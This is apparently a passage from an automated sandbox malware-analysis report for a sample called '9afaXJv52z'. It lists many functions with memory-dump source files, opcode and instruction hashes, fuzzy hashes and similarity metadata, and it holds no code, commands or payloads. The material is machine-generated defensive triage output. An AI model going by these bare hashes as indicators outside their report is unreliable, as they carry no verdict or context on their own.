                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 208e6a978d65b3df04c2d2163cfe11b9ca3e791e60348233d6b397c6ac133608
                                                                                                                                                                                                                                      • Instruction ID: 37a3f12c98558a79832528b1d2fdac4f253bda11ccbf1702e69a59a1011b639f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 208e6a978d65b3df04c2d2163cfe11b9ca3e791e60348233d6b397c6ac133608
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 28D1B272A28642C6EB68CA2591442BD27A0FF06F68F14523DCE0D877D5CF39EC59E760
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850B8FD0 Relevance: .3, Instructions: 287COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 926518188b614a96dab23eca74cd6fab0ac352dd7b9dabb22d14e7e66e5c8c54
                                                                                                                                                                                                                                      • Instruction ID: 6c3648ac3b2591e000b079929a740a22f587a748c7cece7a6b0299538bd3c111
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 926518188b614a96dab23eca74cd6fab0ac352dd7b9dabb22d14e7e66e5c8c54
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 01C116322141F48BD698FB29E4A947A33E2FBA9309BD5403BEB8747785CA3CE414D751
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C2D50 Relevance: .2, Instructions: 241COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: b67fe5c4df14f10fbabbc179396d5558260dc0a4d214c0f6109c6307dd6f74d9
                                                                                                                                                                                                                                      • Instruction ID: 337bec595f6a91b6b6e37c3ef05c2e25ecfe05692cc5ce10a0cb664d8757f58e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b67fe5c4df14f10fbabbc179396d5558260dc0a4d214c0f6109c6307dd6f74d9
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 39B16C72918B46C5EB658F29C05427D3BA0FB4AF68F240139CA8E87795CF3ADC41D724
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CEB30 Relevance: .2, Instructions: 198COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 41de09fd609196546d8b05baa0994189bc53ea50dddfb86cdccda31fca7eba1c
                                                                                                                                                                                                                                      • Instruction ID: 8d2d8b084d59faef983295a826678290c8cc6cfb5c103294429a385931127f44
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 41de09fd609196546d8b05baa0994189bc53ea50dddfb86cdccda31fca7eba1c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 3B81C172A0C78186E775CB19948137A6A91FF46BA4F144239DA8E87B99DF3DEC40CB10
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D6D70 Relevance: .2, Instructions: 183COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3215553584-0
                                                                                                                                                                                                                                      • Opcode ID: f79d7b8a4b9136362ee4687d07e980b4a2c8ab22ab714f4d6b7b90f4866350ce
                                                                                                                                                                                                                                      • Instruction ID: 7bf0103078d47983765ddf682380cab7803057d95bf631da662da9b42e11b530
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f79d7b8a4b9136362ee4687d07e980b4a2c8ab22ab714f4d6b7b90f4866350ce
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F861D122E1C692C6FB64CA68C451279A691BF40BB0F95073DFA2DC7AC5DE7EEC05C600
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C1E94 Relevance: .1, Instructions: 146COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: fa1e8384b8f9ed93a652e40ff1fad70abf09339abefc5cb7d3385a95e3869c9a
                                                                                                                                                                                                                                      • Instruction ID: df81144ef4e900c59ac3ff72606b5d4d0f18f6edef5307b13a36f0c67bb772ee
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fa1e8384b8f9ed93a652e40ff1fad70abf09339abefc5cb7d3385a95e3869c9a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4D514136A18652C6EB248B29C04522927A0FF56FB9F344139DE8D977A5CF3AEC43C750
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C1A84 Relevance: .1, Instructions: 146COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 51394bb55acd0354c6b54540f03649d9a1ed653df3d59b65c3bbefa0f3d6b76a
                                                                                                                                                                                                                                      • Instruction ID: a60197114c4b49b7398c29f84c5daf8f5b24eb30345377d1dc48045e3ab3233a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 51394bb55acd0354c6b54540f03649d9a1ed653df3d59b65c3bbefa0f3d6b76a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 11516476A18A51C6E7248B29C04422933A0FF86FB9F244139DA4D977A4DF3AEC53CB50
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C22A4 Relevance: .1, Instructions: 146COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 3c25247ae15e209603ec1042d904b34171e82564d0ea1a98edeaeffe93ffac02
                                                                                                                                                                                                                                      • Instruction ID: bbe23cf9f2fff0c27b78f87251cfaf6f64152812c848dfe3c4823333ffec3d8f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3c25247ae15e209603ec1042d904b34171e82564d0ea1a98edeaeffe93ffac02
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BC515D76A18652C2EB358B29D04422827A0FF56F78F245139CE8D97BA5CF3AEC42C750
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C1880 Relevance: .1, Instructions: 145COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: cbef8b130d79a7ad9bd62ede7a83548c92a3f011a0e32d449ba268992e3839f7
                                                                                                                                                                                                                                      • Instruction ID: 8b264fb79c1732f4bc19553bc703ac1da2c9cb6944bc134f7f16c0fc764b2fb1
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cbef8b130d79a7ad9bd62ede7a83548c92a3f011a0e32d449ba268992e3839f7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E2516036A18651C6E7248B29C04423C27A1FF46FA9F255139CE4D9B7A4CF3AED53C760
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C20A0 Relevance: .1, Instructions: 145COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: 8494ecf62f03c1d3943c1d589e4c29644468de266d09ee5189585ab02985f6c2
                                                                                                                                                                                                                                      • Instruction ID: 75acd5ab67316f23abfc993e0a8575542657ee8b51bd2261b46df12ea3cf5b25
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8494ecf62f03c1d3943c1d589e4c29644468de266d09ee5189585ab02985f6c2
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 80515376A18652C6EB248B29C04463C27A1FF56F68F284139CF8D97B95CF3AEC52C750
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C1C90 Relevance: .1, Instructions: 145COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: d4595b9fb9fef9db7488d00d8b5cf28c2737f3b7c2e6c847ec82cdef55389f28
                                                                                                                                                                                                                                      • Instruction ID: 1790b29ab691b2c919572bb9d89637d55934336273e1b833c1f7c09237e663bc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d4595b9fb9fef9db7488d00d8b5cf28c2737f3b7c2e6c847ec82cdef55389f28
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 19515036A18A52C6E7248B29D04063837A1FF4AFA9F244139DE4D97794CF3AEC53C790
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C5F30 Relevance: .1, Instructions: 138COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                                                                                                                                                                                                                      • Instruction ID: 8666fe4a6cb9b18a70f1a08ee593c8eead01b24bc0d61cbb9e21c22becfd0844
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 64417C56C0974AC4E9B9891C05016B92680BF73FB1DA853BCDDDAA73D7CE1E2D87C221
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850CA430 Relevance: .1, Instructions: 126COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLanguagesLastPreferredRestoreThread
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 588628887-0
                                                                                                                                                                                                                                      • Opcode ID: 2970ddd5f501fe71afef01217e103934546d8fb7f20af68bec1b913dc8647c23
                                                                                                                                                                                                                                      • Instruction ID: 8ffb7ceae307263a77ebe0d4ac84bafbeb1cc83af67e65231a3d9c04f0378529
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2970ddd5f501fe71afef01217e103934546d8fb7f20af68bec1b913dc8647c23
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6B41E462B18A5982FF14CF6AD91416963A1BB48FE0B19903ADE0DC7B58DF3CD982C310
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850C7C98 Relevance: .1, Instructions: 98COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: d2b002bbc49f8edc76fb8066870c38d7afee558bd2249c300808c44e7bc92a50
                                                                                                                                                                                                                                      • Instruction ID: 6097e5d5ee961430658156aed56c588e9aa1626127fcf4674ec1a8551331a312
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d2b002bbc49f8edc76fb8066870c38d7afee558bd2249c300808c44e7bc92a50
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 37318072B09B4282E7649B25A84017966A5BF85FA0F14423CEE9D93BD6DF3CDC02C714
                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                      Function 00007FF6850D9E40 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 00000000.00000002.1590412828.00007FF6850B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6850B0000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590381182.00007FF6850B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590452258.00007FF6850DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590487177.00007FF6850F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 00000000.00000002.1590547144.00007FF6850F2000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_7ff6850b0000_9afaXJv52z.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: dada551c461b21fdad657b6bac4cbdfad31b05eb9b59333086b2e0a15b162055
